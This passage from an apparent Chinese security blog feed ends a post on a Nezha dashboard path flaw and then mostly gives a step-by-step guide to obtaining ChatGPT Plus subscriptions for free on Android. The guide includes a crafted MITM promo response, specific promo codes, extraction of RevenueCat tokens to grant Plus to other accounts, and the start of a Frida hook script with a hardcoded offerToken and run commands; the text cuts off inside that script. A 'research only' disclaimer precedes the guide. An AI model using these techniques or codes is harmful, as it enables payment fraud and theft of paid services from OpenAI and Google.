&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;proxy_pass&lt;/span&gt; &lt;span class="s"&gt;http://nezha_dashboard&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;但由于 Go 的 &lt;code&gt;filepath.Join&lt;/code&gt; 在服务端也会做规范化，仅靠反向代理层的黑名单拦截存在绕过风险，&lt;strong&gt;升级才是正道&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="写在最后"&gt;写在最后
&lt;/h2&gt;&lt;p&gt;这个洞的技术原理并不复杂——就是一个路径段边界检查缺失。但它打到的是整个认证体系的密钥源头，所以危害直接拉满。&lt;/p&gt;
&lt;p&gt;做安全攻防的时候，有时候不需要绕过 WAF、不需要 0day 链——&lt;strong&gt;一个边界条件的疏忽，就能让整个系统的安全假设全部崩塌&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;CVSS 9.1，名副其实。&lt;/p&gt;</description></item><item><title>GPT Plus 订阅漏洞深度分析 - Google Play Billing 鉴权缺失导致 0 元订阅</title><link>https://blog.7qiang.com/posts/gpt-plus-exploit-revenuecat-vulnerability/</link><pubDate>Mon, 20 Apr 2026 05:30:00 +0800</pubDate><guid>https://blog.7qiang.com/posts/gpt-plus-exploit-revenuecat-vulnerability/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post GPT Plus 订阅漏洞深度分析 - Google Play Billing 鉴权缺失导致 0 元订阅" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;⚠️ 时效性提醒（2026-07 更新）&lt;/strong&gt;：本文发布于 2026 年 4 月，距今已过去 3 个月。文中方案三（批量开 Pro）已在发布时标注为已修复；方案一（API 响应注入）和方案二（offerToken 替换）经过近 3 个月，&lt;strong&gt;当前可用性存疑&lt;/strong&gt;，OpenAI/Google 可能已加强校验。本文保留仅供安全研究与技术原理学习参考。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="前言"&gt;前言
&lt;/h2&gt;&lt;p&gt;今天给大家带来一个相当有意思的支付安全案例分析。这个漏洞的核心在于 ChatGPT 安卓客户端在调用 Google Play Billing 时，服务端未对订阅凭证进行二次校验，导致攻击者可以通过两种方式实现 Plus/Pro 权益的零元订阅。&lt;/p&gt;
&lt;p&gt;先说结论：这不是传统意义上的&amp;quot;破解&amp;quot;，而是典型的业务逻辑漏洞。漏洞根源在于 Google Play Billing 过度信任客户端传入的优惠凭证，且未与服务端进行资格校验。&lt;/p&gt;
&lt;h2 id="两种攻击方式对比"&gt;两种攻击方式对比
&lt;/h2&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;攻击方式&lt;/th&gt;
 &lt;th&gt;攻击点&lt;/th&gt;
 &lt;th&gt;技术难度&lt;/th&gt;
 &lt;th&gt;需要 Root&lt;/th&gt;
 &lt;th&gt;稳定性&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;方式一：API 响应注入&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;HTTP 层（MITM）&lt;/td&gt;
 &lt;td&gt;中&lt;/td&gt;
 &lt;td&gt;否&lt;/td&gt;
 &lt;td&gt;依赖服务端校验&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;方式二：offerToken 替换&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;内存层（Frida）&lt;/td&gt;
 &lt;td&gt;高&lt;/td&gt;
 &lt;td&gt;是&lt;/td&gt;
 &lt;td&gt;更稳定&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="方式一api-响应注入无需-root"&gt;方式一：API 响应注入（无需 Root）
&lt;/h2&gt;&lt;h3 id="攻击原理"&gt;攻击原理
&lt;/h3&gt;&lt;p&gt;ChatGPT 安卓应用在启动时会调用以下接口获取当前登录用户信息：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;响应包中包含 &lt;code&gt;eligible_promo_campaigns&lt;/code&gt; 字段，用于存储当前账号可用的优惠活动。正常情况下，这个字段由服务端根据账号资格动态返回。&lt;/p&gt;
&lt;p&gt;通过中间人攻击（MITM），我们可以修改响应包，强行插入优惠码。&lt;/p&gt;
&lt;h3 id="环境准备"&gt;环境准备
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;必要条件&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;美区谷歌账号 × 1（任意区均可，非必须英区）&lt;/li&gt;
&lt;li&gt;任意美卡 × 1（用于绑定账号，实际不扣费）&lt;/li&gt;
&lt;li&gt;安卓设备 × 1（需 Root 以安装 MITM 证书，模拟器亦可）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;工具链&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MITM 抓包工具（推荐 HttpCanary 或 Charles）&lt;/li&gt;
&lt;li&gt;Root 权限管理工具（Magisk）&lt;/li&gt;
&lt;li&gt;ChatGPT 安卓客户端&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="可用优惠码"&gt;可用优惠码
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;固定优惠码（每次可用）&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;优惠码&lt;/th&gt;
 &lt;th&gt;效果&lt;/th&gt;
 &lt;th&gt;稳定性&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;3-day-free-trial&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;3 天免费试用&lt;/td&gt;
 &lt;td&gt;固定可用&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;plus-1-month-free-trial&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;1 个月免费试用&lt;/td&gt;
 &lt;td&gt;固定可用&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;1-month-10-dollars&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;半价优惠（$5/月）&lt;/td&gt;
 &lt;td&gt;固定可用&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;pro-winback-1-month-free&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;Pro 挽回试用 1 个月&lt;/td&gt;
 &lt;td&gt;特定资格账号&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;特殊优惠码（限时/限资格）&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;优惠码&lt;/th&gt;
 &lt;th&gt;效果&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;2wqkodfx51z2x&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;6 个月免费试用&lt;/td&gt;
 &lt;td&gt;限时优惠&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;2ispxs5mtgz35&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;12 个月免费试用&lt;/td&gt;
 &lt;td&gt;限时优惠&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;这些优惠码是固定的，每次都可以使用。这也是为什么外面卡网可以持续生产低价 Plus 会员的根本原因。&lt;/p&gt;
&lt;h3 id="构造优惠响应"&gt;构造优惠响应
&lt;/h3&gt;&lt;p&gt;以下是注入 1 个月免费试用优惠的响应包示例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;eligible_promo_campaigns&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;plus&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;plus-1-month-free&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;metadata&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;plan_name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;chatgptplusplan&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;linux.do&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;summary&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;你已获得 1 个月的 Plus 套餐优惠促销代码。&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;discount&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;percentage&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;credit_grant&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;duration&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;num_periods&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;period&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;month&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;schedule&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;price_period&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;recurring&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;promotion_type&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;discount&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;promotion_type_label&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1-month free trial&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;no_auto_renewal_at_discount_end&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;plan_type_change&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键字段说明&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;discount.percentage&lt;/code&gt;: 100 表示 100% 折扣（即 0 元）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;duration.num_periods&lt;/code&gt;: 优惠持续时间（1 表示 1 个月）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;no_auto_renewal_at_discount_end&lt;/code&gt;: true 表示优惠结束后不自动续费&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="零元订阅与风控绕过"&gt;零元订阅与风控绕过
&lt;/h3&gt;&lt;p&gt;修改响应后重新打开 ChatGPT 应用，点击升级即可看到免费试用界面。&lt;/p&gt;
&lt;p&gt;由于是 0 元订阅，Google Play 的风控级别极低，仅需通过验卡环节即可完成订阅。这也是为什么需要提前绑定一张美卡的原因——不是为了扣费，而是为了通过 Google 的风控验证。&lt;/p&gt;
&lt;h3 id="提取订阅凭证"&gt;提取订阅凭证
&lt;/h3&gt;&lt;p&gt;订阅成功后，ChatGPT 会向 RevenueCat 回调接口发送订阅凭证：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST https://api.revenuecat.com/v1/receipts
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;拦截该请求，提取响应中的 &lt;code&gt;fetch_token&lt;/code&gt; 字段：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;fetch_token&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;xxxx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个 &lt;code&gt;fetch_token&lt;/code&gt; 就是订阅凭证。将其保存后，即可用于给其他账号开通 Plus 权益。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="方式二offertoken-内存替换需要-root"&gt;方式二：offerToken 内存替换（需要 Root）
&lt;/h2&gt;&lt;h3 id="攻击原理-1"&gt;攻击原理
&lt;/h3&gt;&lt;p&gt;ChatGPT Android 调用 Google Play Billing 时，把当前 SKU 的默认 &lt;code&gt;offerToken&lt;/code&gt; 传给 Google Pay。这时候就可以在内存里把这个 token 替换成 &lt;code&gt;plus-1-month-free-trial&lt;/code&gt; 的 &lt;code&gt;offerToken&lt;/code&gt;，让 Google Play 按免费试用处理。实际支付金额就是 0 刀。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工作本质&lt;/strong&gt;：并非攻击 OpenAI 的服务器，而是在用户本地设备上篡改客户端与 Google Play 之间的计费数据。&lt;/p&gt;
&lt;h3 id="环境准备-1"&gt;环境准备
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;设备/工具&lt;/th&gt;
 &lt;th&gt;用途&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Root 的 Android 手机&lt;/td&gt;
 &lt;td&gt;需要刷 Magisk&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 电脑&lt;/td&gt;
 &lt;td&gt;用于运行 Frida 客户端和 ADB&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Frida HLUDA Server&lt;/td&gt;
 &lt;td&gt;正常版本谷歌有检测 Hook 会闪退&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="四步攻击流程"&gt;四步攻击流程
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;第一步&lt;/strong&gt;：通过 Frida 的 &lt;code&gt;Java.choose&lt;/code&gt; 接口遍历内存中名为 &lt;code&gt;c3q&lt;/code&gt; 的混淆计费类实例，利用反射强制访问其私有字段 &lt;code&gt;b&lt;/code&gt;（对应 &lt;code&gt;offerId&lt;/code&gt;）与 &lt;code&gt;c&lt;/code&gt;（对应 &lt;code&gt;offerToken&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步&lt;/strong&gt;：脚本持续比对，当发现某个实例的 &lt;code&gt;offerId&lt;/code&gt; 与目标免费试用档位一致、且其 &lt;code&gt;offerToken&lt;/code&gt; 以 &lt;code&gt;Adumm&lt;/code&gt; 为前缀时，将该 &lt;code&gt;offerToken&lt;/code&gt; 捕获并缓存。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步&lt;/strong&gt;：对 Android 系统框架层的三个方法进行 Hook，分别为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;android.content.Intent.putExtra(String, String)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;android.os.Bundle.putString(String, String)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;android.os.Bundle.putStringArrayList(String, ArrayList)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在 ChatGPT 客户端发起付费订阅购买请求的瞬间，Hook 代码识别到即将写入的原始付费档位 &lt;code&gt;offerToken&lt;/code&gt;（同样以 &lt;code&gt;Adumm&lt;/code&gt; 开头），即将其替换为此前已缓存的免费试用 &lt;code&gt;offerToken&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第四步&lt;/strong&gt;：经篡改后的购买请求被 Google Play 按&amp;quot;免费试用成功&amp;quot;处理支付成功后并返回成功回执。&lt;/p&gt;
&lt;h3 id="可用优惠码-1"&gt;可用优惠码
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;优惠码&lt;/th&gt;
 &lt;th&gt;效果&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;2wqkodfx51z2x&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;6 个月免费&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;2ispxs5mtgz35&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;12 个月免费&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="完整-frida-脚本简化版"&gt;完整 Frida 脚本（简化版）
&lt;/h3&gt;&lt;p&gt;下面是经过整理的简化版 Hook 脚本，移除了复杂的动态捕获逻辑，直接注入已知的免费试用 offerToken：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * GPT Plus 免费订阅 Hook 脚本 - 简化版
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * 用途：Hook Google Play Billing，直接替换 offerToken 为免费试用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; *
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * 使用方法：
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * 1. 手机 Root 并安装 Magisk
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * 2. 推送 frida-server 到手机并运行
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * 3. 电脑端运行：frida -U -f com.openai.chatgpt -l hook.js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * 4. 在 ChatGPT App 中点击订阅
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * 5. 自动替换为免费试用，扣费 0 元
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;use strict&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 配置区域：免费试用 offerToken（GPT Plus 1 个月）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;OFFER_TOKEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;AdummIvzNOk965s/0UOf08hi8zE1QBQA0qHs28TasLNjkP+H9peebMqSzAJF85XTHZsGLhCLb8sUqKa79ScsbZ1UI8MnOiU9VvkCLLFXKQHE1K9KRT9pYVT2qZz0SC9N9IEs3jhI+hkaTkvc/Vc=&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;_keepAlive&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
